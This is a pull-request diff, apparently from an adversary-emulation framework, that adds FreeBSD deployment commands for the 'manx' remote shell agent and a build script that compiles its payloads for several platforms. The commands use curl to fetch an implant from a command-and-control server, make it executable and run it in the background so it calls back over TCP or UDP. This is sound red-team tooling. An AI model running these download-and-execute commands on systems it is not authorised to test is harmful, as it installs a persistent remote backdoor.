Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,30 @@
contact="tcp";
agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:darwin" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -http $server -socket $socket -contact $contact &
freebsd:
sh:
command: |
server="#{app.contact.http}";
socket="#{app.contact.tcp}";
contact="tcp";
curl -s -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -http $server -socket $socket -contact $contact -v
variations:
- description: Run against the UDP contact
command: |
server="#{app.contact.http}";
socket="#{app.contact.udp}";
contact="udp";
agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -http $server -socket $socket -contact $contact &
- description: Download with a random name and start as a background process
command: |
server="#{app.contact.http}";
socket="#{app.contact.tcp}";
contact="tcp";
agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -http $server -socket $socket -contact $contact &
Copy link

Copilot AI Oct 6, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove trailing whitespace at the end of the line.

Suggested change
nohup ./$agent -http $server -socket $socket -contact $contact &
nohup ./$agent -http $server -socket $socket -contact $contact &

Copilot uses AI. Check for mistakes.
linux:
sh:
command: |
Expand Down
3 changes: 2 additions & 1 deletion update-shells.sh
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
#!/bin/bash
#!/bin/sh
cwd=$(pwd)
cd shells
GOOS=windows go build -o ../payloads/manx.go-windows -ldflags="-s -w" manx.go
GOOS=linux go build -o ../payloads/manx.go-linux -ldflags="-s -w" manx.go
GOOS=darwin go build -o ../payloads/manx.go-darwin -ldflags="-s -w" manx.go
GOOS=freebsd go build -o ../payloads/manx.go-freebsd -ldflags="-s -w" manx.go
cd $cwd